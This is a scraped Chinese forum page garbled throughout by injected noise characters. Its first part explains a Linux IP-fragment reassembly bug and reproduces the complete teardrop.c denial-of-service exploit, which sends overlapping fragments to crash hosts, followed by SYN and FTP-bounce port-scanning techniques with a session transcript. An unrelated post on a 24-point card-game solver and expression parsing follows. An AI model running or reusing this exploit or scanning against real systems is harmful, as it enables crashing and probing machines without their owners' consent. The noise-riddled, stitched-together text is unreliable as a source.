6 R9 E4 K& u4 C/ o" m7 m9 D3 b# aerror_to_big;
4 `* l7 W6 B9 O}+ g1 Y0 r* }2 |" ^$ B  E/ h
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
0 `9 }9 s6 n/ dcount += fp-&gt;len;
! |9 x2 a! M  Ffp = fp-&gt;next;. l2 U! u3 G# z2 ?$ Z) ^
}
$ h5 d  N$ H' W3 m2 O这里只检查了长度过大的情况,而没有考虑长度过小的情况,8 b4 {0 K% C( [) y# e( }
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
# I' Q% c2 ~: p% Send = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
3 @& I$ j( Z8 m2 ?2 N: _是这样处理的:
# e: Z/ ^) ~- y& Y6 ]: O, f/ T8 {, a+ lif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
% z4 R# R9 t2 |$ Z0 G  @" |{9 A. o# I3 y' P7 m# q
i = prev-&gt;end - offset;, Z; @$ d5 x" e  o# W, ~
offset += i; /* ptr into datagram */0 @: ^2 ]7 r4 H- w+ o% Q, G
ptr += i; /* ptr into fragment data */
3 W0 E$ ]; n6 J) N0 T. L2 c! Q0 U}</P><P>/* Fill in the structure. */2 L5 d7 Y9 |& {/ F/ i: Z  @
fp-&gt;offset = offset;
4 c+ s- `# V! V" f+ C( qfp-&gt;end = end;
. M) [. v# x) T3 ]8 U. j& S( z' Ffp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
: S( g- Z: f$ h$ M4 R第一个碎片:mf=1 offset=0 payload=20
) i- F& R5 F1 G) r5 z敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 ! P/ a" |+ y/ o6 O! R6 j2 t, S# G
offset=09 r) C% Q0 f' C" s* c
这样第二个碎片的 end=9+10=19
9 C- i" c$ S! J9 w0 Qoffset=offset+(20-offset)=20( ^8 c: j- x6 g3 J
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>% c& i3 l5 S/ V/ v2 N" i3 c# |& `
/*
7 L: `! F: x5 y9 `2 W' t* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
8 R6 f* o( Z/ |, _6 U% C6 }*
& I& }/ X) ]; x2 v! \9 q* Linux/NT/95 Overlap frag bug exploit
+ I- I6 r' `4 E* [3 ^. ^4 m% k*
. n: U7 g! M% ]$ g5 B: ?% w* Exploits the overlapping IP fragment bug present in all Linux kernels and
- Q$ \6 _6 x( a* NT 4.0 / Windows 95 (others?)2 X" q7 F% @: |3 a9 D
*
. S2 H% ]' a+ d* Based off of: flip.c by klepto9 I0 K0 Z$ I! p) P1 q# Z2 o
* Compiles on: Linux, *BSD*6 l' a+ L7 `" z4 T% j+ K
*! Q* y' U5 _$ y" g
* gcc -O2 teardrop.c -o teardrop
$ n" r8 Y& f: ?$ T. k3 n* OR
9 p* V# T- ^" y8 H* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING* _3 X! _$ f- Q) l2 `9 T
*/</P><P>#include <STDIO.H>' z/ ^* H, p1 q9 x% O4 u; V
#include <STDLIB.H>
6 T0 s* {; r1 g* h( C" n% C8 W#include <UNISTD.H>
8 s! h# H* d7 E1 [) H#include <STRING.H>  R3 j/ k1 q$ O8 @
#include <NETDB.H>$ A6 c: `* v; K; [
#include <NETINET in.h>0 s- q! |0 j4 z
#include <NETINET udp.h>
. Z! B0 \' X6 m: B% |#include <ARPA inet.h>
9 H2 F4 h% q8 A- }+ G2 N& V#include <SYS types.h>
& w5 V- s8 d3 c# h. a7 S#include <SYS time.h>
; S0 d' j( v3 t( x6 c- D#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
+ r7 V% K( _5 a# j6 s/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */% e! C2 l1 I) C
#define FIX(n) (n)& u  ?. }( c) \( q' ~- J- F; D
#else /* OpenBSD 2.1, all Linux */
0 q9 ]" K+ e* D# i* J#define FIX(n) htons(n)% S: Q& x9 @! t: R- ^
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */! m( q6 H# x4 `
#define IPH 0x14 /* IP header size */) `3 Y9 |# b# A8 V# x/ x- B7 O
#define UDPH 0x8 /* UDP header size */  j) q8 ]' C7 d. T/ ], j+ [8 g
#define PADDING 0x1c /* datagram frame padding for first packet */
# u0 t8 n, V' a, s( k1 Z#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */- q: B- O$ a2 t
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
. S+ |6 C! ~; Y0 |/ O* withstand maybe 5 or 10 sometimes... Experiment.0 P& t# O/ ]+ Z. ^! G
*/</P><P>void usage(u_char *);
- O) r9 X9 \2 q, Zu_long name_resolve(u_char *);( J* }/ R% }( }, @& M
u_short in_cksum(u_short *, int);
/ m# B' @2 Q4 f0 Svoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
8 D) x$ c2 N' X7 f5 k! V) Y$ e{  `& u$ F/ s+ X! a
int one = 1,   |5 K. M) b/ W
count = 0,
9 B! e* V$ Z6 K5 ~1 Z* ni,   d& [: ?, E- y2 g! v
rip_sock;/ C+ t5 X6 [5 A) t! c
u_long src_ip = 0, dst_ip = 0;  V0 Z! B; y% ^# A# c( }6 S
u_short src_prt = 0, dst_prt = 0;
$ N* U" Y* {8 M- g. vstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
; u0 N/ O3 f5 H% U8 M7 iif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)6 U! f; I9 w& {5 \
{
& r2 ^2 P6 j- y: n! e! a; pperror("raw socket");
8 @+ H$ @3 M  L. H) v9 _) dexit(1);; X) d7 E. I4 c3 U
}
9 }& o% R  h6 v( z  O! f( s" F//由系统处理IP校验和。
( e6 L+ o' Q. g3 o5 qif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
/ K$ V. W8 a8 h/ z8 S&lt; 0). n1 W; j2 w. r: Y* u- Y
{5 c7 ~/ H& \8 p9 s
perror("IP_HDRINCL");: ]9 Z! w& }5 o
exit(1);
; P  v9 O9 @& b; @% ?}</P><P>if (argc &lt; 3) usage(argv[0]);6 y% A3 c4 c& z: T: n/ O8 `" g
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
) }8 \6 Q: }1 X{
2 N  w9 M2 Q# E8 }  H& h0 U- I. O& yfprintf(stderr, "What the hell kind of IP address is that?\n");
0 b4 L# A4 Y/ K* p% H2 Q3 Bexit(1);
) @/ T7 W" k: }1 `}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)) I1 i8 {- Z5 X  i
{& j  \) l- C) e+ b
switch (i)
5 c- _" U# F; Y& o+ b; ?6 r" ?3 @{
- d) m/ K( S( ycase 's': /* source port (should be emphemeral) */
5 ~- }8 P- N9 |0 X* H( v. \. B& `src_prt = (u_short)atoi(optarg);
: x4 g4 U9 B- Y7 ~* abreak;
1 i& U; F7 E' W- [case 't': /* dest port (DNS, anyone?) */
3 r; ], n* D+ ?- d+ u+ X5 _: edst_prt = (u_short)atoi(optarg);
6 H$ p& {0 {" V. Ybreak;" z; |% P. n2 o4 }. W; s. s
case 'n': /* number to send */+ V# k, q" k/ d) V0 h% \
count = atoi(optarg);  _) R0 _. u3 z# S+ f5 v7 j
break;( h; ]/ O5 M+ c3 R2 M/ I
default :
0 s. R" R6 {9 M; L; ]usage(argv[0]);
. Q/ N/ f1 Y5 E9 J. }break; /* NOTREACHED */
5 e3 E; b: S' N6 x& \# [}9 x4 N. s# @, D; U
}</P><P>srandom((unsigned)(time((time_t)0)));3 n2 s0 ]4 [! O9 k8 T
if (!src_prt) src_prt = (random() % 0xffff);
4 ?2 l5 ?# {7 j* W' y6 hif (!dst_prt) dst_prt = (random() % 0xffff);
9 O# Y" o0 e3 R5 ?& V- x3 Uif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");3 P0 q, @/ c* t* B9 ~
addr.s_addr = src_ip;# E9 [( }! ~( @0 R+ k% Q( y$ |  K. G
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);- Z) Y% A1 b3 F
addr.s_addr = dst_ip;# ~" N3 J; {4 \% |
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
7 Z5 m0 \0 F( \1 ^1 L0 Mfprintf(stderr, " Amt: %5d\n", count);* G# W' c( @7 k3 U- l
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)- V, q) R% ^0 ^1 b0 `0 J
{
+ [0 i: X' q& x( fsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);! }. Z& P  C2 O$ m+ V
fprintf(stderr, "b00m ");+ X) }. |6 M5 a9 X* e# a, V
usleep(500);
2 Q8 r/ Y) T- r( ]" o7 q- h7 M  e}* ~' `  p2 @' I
fprintf(stderr, "]\n");
' i9 n+ j+ R! d6 Nreturn (0);$ w5 k; r& C: N4 l! K
}</P><P>/*# x# u& {% h0 _; {& b
* Send two IP fragments with pathological offsets. We use an implementation& V$ T2 n- y% x: j8 a
* independent way of assembling network packets that does not rely on any of6 I7 G+ _. h+ m3 W# e  s. ^
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).! b) U1 |* p& d! X$ e" f- g% B
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt," D, T( M; W+ U7 a
u_short dst_prt)
. ?4 l* [4 _6 {" e# Q1 a{
& J( A/ K2 b. J8 n; |/ c; hu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
* g7 T3 v4 Y# z' Iu_char byte; /* a byte */
$ r  R3 _1 B9 z+ Tstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;; I7 I1 M& a6 F, ?2 q) o
sin.sin_port = src_prt;
( Y% S9 ~  M6 D. Y. xsin.sin_addr.s_addr = dst_ip;</P><P>/*4 T! x+ t- T* v+ N
* Grab some memory for our packet, align p_ptr to point at the beginning3 z  N  Z; B* v4 a3 P+ n8 T
* of our packet, and then fill it with zeros.7 f  I/ z# W% i( D6 ^4 m
*/
5 U' A" d7 D- f9 Jpacket = (u_char *)malloc(IPH + UDPH + PADDING);- B, Y+ N6 s8 B- o1 N
p_ptr = packet;
: N3 S! k" I6 Q- l1 G, Q- Fbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
( g1 S4 _/ X0 y3 ?+ Bmemcpy(p_ptr, &amp;byte, sizeof(u_char));) K$ a- P: I; M& L8 f# ]# X
p_ptr += 2; /* IP TOS (skipped) */
; Z' S) f0 A5 a$ z* V5 |*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
1 F4 f, \  V+ w% n+ Jp_ptr += 2;
6 z& Q: Z3 G' e8 W! c6 ^+ ~*((u_short *)p_ptr) = htons(242); /* IP id */
9 |" K# Z; |! A' W' Wp_ptr += 2;$ `" _" p) D+ q# w' E/ G
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
" Z3 n  C8 |2 ~& Sp_ptr += 2;
' N( l' @* v0 t7 L$ F*((u_short *)p_ptr) = 0x40; /* IP TTL */2 o' N1 q, V) ~. U: Z4 _
byte = IPPROTO_UDP;9 i/ Y  G0 g: l2 Z
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
2 b* `# Y: f$ B- M& \p_ptr += 4; /* IP checksum filled in by kernel */, |) D9 [8 ]/ A. |( w
*((u_long *)p_ptr) = src_ip; /* IP source address */
$ X" E3 O+ {( O# v! zp_ptr += 4;! s# f" ]% v8 v) ?$ g& g- K% w
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
$ p4 Z. W' t' _3 e  y7 a* o0 [p_ptr += 4;
, k" d1 s. O* e# j# }% a2 s+ X*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
1 X9 u* c# ~3 \! Z; dp_ptr += 2;
) N1 g: z) `  {( `5 [0 N, }0 n+ G*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
9 v8 k. D9 B" v' Rp_ptr += 2;! I$ D0 T- \& M  d4 |
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,& q' ~( P2 c) F) o" t# c
sizeof(struct sockaddr)) == -1)* ^) P/ O  ^3 f/ D  m+ y8 D+ l
{
5 G' W- S: {( p6 B' Eperror("\nsendto");1 u7 b: u0 Y8 @/ n1 j" f! w# [
free(packet);9 l: q$ i4 y' J9 u3 V
exit(1);
( o* ]) I+ E5 c# j5 @: j5 ]- ~}</P><P>/* We set the fragment offset to be inside of the previous packet's. I  h+ I, i2 E3 k2 W' \
* payload (it overlaps inside the previous packet) but do not include
# K8 ?/ j; b% j* enough payload to cover complete the datagram. Just the header will
4 |2 c8 U) Y8 ]* @, R% {* do, but to crash NT/95 machines, a bit larger of packet seems to work
# V( d. b1 Y! R2 T* better.' f5 I4 u& O7 O- ]8 ?, }- ^9 @
*/
: V* e: u' d: ^) F5 j% J) Zp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */+ T3 f* {, Z9 ]+ Q* V4 ]4 N" c$ M% I
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
) h2 f3 L5 q3 L" |# ]p_ptr += 4; /* IP offset is 6 bytes into the header */
9 r9 X; C' p* J! l; ^7 F*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
9 v0 q- O9 S- w# y! Q1 y+ c( w) Ysizeof(struct sockaddr)) == -1)
! Q. X0 d& I. t5 L4 v{
% o! f# m. h. ?' M7 D' J( N& M& Qperror("\nsendto");0 m# R- P4 ?8 j( G4 o# X
free(packet);+ t- L1 W" C9 G4 Z* o$ F
exit(1);
; _9 n4 {& V/ W$ u: d  Q, X}4 h9 S" g. Y; `+ {& A# q9 Z# V
free(packet);4 M. s3 ]7 a2 U3 l) U
}</P><P>u_long name_resolve(u_char *host_name)
8 I$ o6 {! P1 U7 N0 ?3 Y{7 v% I4 `& b/ z6 N( e
struct in_addr addr;0 ~6 s  d( D/ V; K
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
4 ]5 S% c+ y/ j{: R$ Z" Y! Z0 b+ n6 @  T) V8 H
if (!(host_ent = gethostbyname(host_name))) return (0);4 u& ]7 Z7 K4 ~! Y( f# Y  L3 o2 [
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
/ _6 {" X* }2 v# n  z}9 F. ~8 k6 t" v4 a
return (addr.s_addr);
1 H7 O+ ]) l2 d. V5 [}</P><P>void usage(u_char *name). l  [# l7 L4 c9 P% T* b; H
{) t9 ]+ w& T& S8 I+ S$ X# O
fprintf(stderr,9 H) P: I/ J+ W0 H3 u
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",: I* @, F, C1 n% G2 j+ W' s
name);, x4 d! F; G* N: o
exit(0);( ?4 n6 K, R6 {& d6 I0 @
}</P><P>
2 L! _! {6 L/ p' b9 {4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
. I5 r! H- E2 ]" u  B(1) Half-open(半打开)8 G/ G! g& T/ b) `" ?" J
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
# n% L9 R) Y# t2 w: I7 ~4 k8 d如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
' F1 j7 J) M9 v/ i9 ~" M6 L利用了FTP的port命令,例如可以这样作:  k7 R" p- Z* q2 H, Q4 C
选择一个FTP服务器,连上后令port命令指向目标机,如果返回: \/ z5 q5 T1 r
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
% s- R! ^% c/ N. ~$ ~5 c该端口无服务。* J+ Z; t* ^% M" E% B; b3 X! S6 _
telnet 192.168.1.13 21
. w: F% B: V, a/ xTrying 192.168.1.13...* T. g1 R0 h/ y+ u0 d, B1 ?
Connected to pp.bricks.org.
) R6 }8 k9 I1 uEscape character is '^]'.
0 V/ b. q7 x8 g6 d) G5 q( a- r1 F220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) . p5 U. n2 x6 P1 f/ T
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
& p  G6 s2 }1 ^6 y331 Guest login ok, send your complete e-mail address as password.
' d6 G. r4 I4 B5 ~/ {3 n- G! hpass aa@aa.aa$ ]/ b) m$ ^7 \: k
230 Guest login ok, access restrictions apply.; d/ X0 e7 w" R9 V* }3 @/ f
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
0 a4 e: U: z" ~# Y425 Can't build data connection: Connection refused.
6 P( W4 P& t" I, y2 \//该端口未活动 6 @3 T+ H. o$ R0 D3 A  Y8 v5 ^& p
150 Opening ASCII mode data connection for file list.
' d0 j* N' ?' R  e. m226 Transfer complete.
5 [! F' j) O$ j$ x//该端口活动中8 N! W- J1 h! M
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
9 v6 _/ p" q% E6 nSYN|FIN ACK or SYN|ACK* RST
5 Q9 g+ ^5 c/ K! ?( YACK Nothing RST5 V" H! W9 Q+ [) l: O! Y, ^1 |
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport1 n0 B) e6 g) x5 O7 [. o
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,4 _9 c2 C4 b. u# _% t9 r/ w1 A
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
- F0 r0 D! W% N  T定它在向你做portscan。</P><P>notes:
, E% i0 z4 Y: E  J8 v6 g早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
/ L. L2 P$ ?' P4 x- X2 L  U而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
1 ?3 q2 j! s, A/ W都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
9 E7 K; o4 d3 l; j! z7 X8 O  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
0 t4 y/ ]% K; W' \2 M! d$ V
* {" ^1 x, O" p2 N5 S# s0 f# Z) f  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
/ c1 @& \# h; w8 O1 Y( a首先穷举的可行性问题。我把表达式如下分成三类——
& v5 p' {# {' \/ h8 w<FONT color=#ff0000>1、 无括号的简单表达式。' a$ Z, l9 w; V$ b5 P
2、 有一个括号的简单表达式。# z  A5 I, n! J9 \: U# e
3、 有两个括号的较复4、 杂表达式。0 g  E' f7 W. }" c2 a
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:4 O9 p3 u# u7 Y4 N2 h* m( J. S
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
: z9 n- r6 l3 J- I/* c[] 存放四张牌的数组 */4 B' s: b) ^  D7 o2 f/ g
/* k[] c[]种四张牌的代号,其中k[I]=I+1。: L, \& Q5 s4 o; A" k8 u0 J
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */% w9 _( d/ }4 W1 D  @9 {3 D
/* kans[] 暂存生成的排列组合 */
/ R6 O* n( Z1 |" X/* j 嵌套循环的次数 */
6 D- |2 M3 x$ uint fans(c,k,ans,kans,j)
% i# g$ m; N  Q( D% G1 @+ vint j,k[],c[];char ans[],kans[];
1 j; ]2 M7 N3 h# F8 ^/ Q* D{ int i,p,q,r,h,flag,s[4],t[4][4];8 W5 [; p' I" g3 l2 L4 c6 j) }2 T
for(p=0,q=0;p&lt;4;p++)
6 n! Z6 w/ r' b{ for(r=0,flag=0;r<J;R++). T* x  x0 b6 _, z9 o6 N: j: L# K
if(k[p]!=kans[r]) flag++;9 ~6 D6 W$ T2 o7 Y' Q7 [
if(flag==j) t[j][q++]=k[p];
) b0 y& r6 v; I2 r, k}
5 n, i% N3 W! `: v2 P9 ]6 g0 B- Ifor(s[j]=0;s[j]&lt;4-j;s[j]++)
" C  W4 F* @, M9 `6 a{ kans[j]=t[j][s[j]];( g9 v  ~( `/ Q$ n6 G
if(j==3) { for(h=0;h&lt;4;h++)
8 y6 @0 o& @1 @/ {9 _8 Y& `: wans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
7 S% @9 ~7 W1 _  ?' G, Q达式中的位置 */1 Y2 U' R- I2 P6 r
for(h=0;h&lt;3;h++)
5 I5 l0 W. H% e3 R* Q* f9 D! wsymbol(ans,h); /* 在表达式中添加运算符号 */8 v% N8 N- w/ A3 u! j( N
}( M6 X: j) l: v9 w2 m4 i1 g
else { j++;: Q7 v1 b9 v* ^+ B
fans(c,k,ans,kans,j);0 O4 V1 T0 I+ D1 T0 u9 K
j--;* `% z; C9 X" w4 M, p, o
}* v# g* j2 ^6 P- Y7 M% z
}4 P6 J% y) D4 l* n/ _
}</FONT>
* ~1 p6 M: }- J: }. C/ c5 z! l* ]1 h6 d5 _1 g4 H
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:9 Q" V8 r# h& P4 Z' M6 N9 G

, S* G# T: ^  n" m9 u<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/7 ^* g2 U; t1 L6 @& S+ ], A
int sans(ans,sy,j,h)' @5 b6 h: s& y9 h0 N3 r/ e
char ans[],sy[];int j,h;
, T+ x, U4 K3 P4 _{ int i,p,k[3],m,n; char ktans[20];& m) x" L  z/ R- s9 G2 n6 }
for(k[j]=0;k[j]&lt;4;k[j]++)  Z: \% t5 t7 w/ W9 t* D! N
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
6 j7 }0 h/ m9 h- ~5 P这里的三个运算符号分别存放在1、3、5位*/
/ q! m) Y. X1 D, X5 z# vif(j==2)
" V9 S: ?# L7 ~{ ans[5]=sy[k[j]];
$ j/ ^% F6 N/ M5 k8 e5 R% d/* 此处根据不同的表达式形式再进行相应的处理 */" k. q9 F. B8 Y1 J6 _3 \6 p
}
6 g' f$ }) m9 ?- ielse { j++; sans(ans,sy,j--,h); }7 V* G) i7 _) x4 Y* r6 N
}
7 }- u0 h/ {( g}
) O% q8 G+ p' L/ z3 z; ~) x/ \' w, A3 U9 w/ h' W% S. v
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。* n. e9 l' ~" B
for(m=0;m&lt;=4;m+=2)
( I+ s) @9 N/ W2 F$ k' r* ifor(n=m+4;n&lt;=8;n+=2): i, a. }6 G: V" s) w1 \
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。+ I+ V# a3 a! _% b/ x9 A! F! V; p1 y( ~
9 f1 G. G1 x& }
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。1 ~* D8 M( T- E: d
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。2 U% P# W% y. F' f& Q6 D
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
9 E/ {5 _2 v% C% }* q% e/ ^+ N; O% d. h! r9 W
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
$ p2 K) P' E# t3 K! @6 J" C7 K! `- h7 d# L) S4 S# ~
  那么作为栈的著名应用,表达式的计算可以有两种方法。7 P9 u: o4 N7 j% d! A

( X0 X5 B4 }8 [' h% d9 F% ]  <FONT color=#ff0000>第一种方法——</FONT>5 H0 O. @$ U2 j" b
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
7 J: N* ]) L; j8 ?1 h: b' l) K; [$ P  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
$ B7 Q: s( Q1 W% E+ t1、 若W为操作数
0 J8 e& |( C7 r3 i2 p8 k' @1 ?' t2、 则将W压入操作数栈OVS+ n8 ]) h2 @2 ]- M" Z9 ~
3、 且继续扫描下一个字符
; q$ |& K  t/ c. e/ N: G4、 若W为运算符
8 j6 l! {; W6 a/ D2 Q5、 则根据运算符的性质做相应的处理:
7 v; g0 t- j1 \/ O" H' L(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
. j* d+ Y5 w: A* @; P0 i(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。* G: q9 n7 S) D8 U
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
) b' S. y1 a) T1 e5 T  r* m(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
) k$ n1 w+ f( d+ m5 }5 s7 p
$ ^% u+ `! K( T5 m<FONT color=#ff0000>  第二种方法——</FONT>- r6 ~$ h) j# t8 }, q$ u: j: j
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。2 [0 J4 Z5 b, t9 J6 q7 V: |, W
4 ]; {. p$ f" q
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。, H9 W, O1 E# I& v2 W

& H9 c! T8 @# Q$ r! _. y. H' R   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
/ Y7 O( Y& I$ W表达式 波兰表达式/ }5 d8 {5 s- s( S+ h! V8 ^
A-B AB-
. [9 R% R: }! T* u8 G, f(A-B)*C+D AB-C*D+& t, k1 b& g$ y  g
A*(B+C/D)-E*F ABCD/+*EF*-- `+ {# l( y. J: x- d, h$ v, |( @
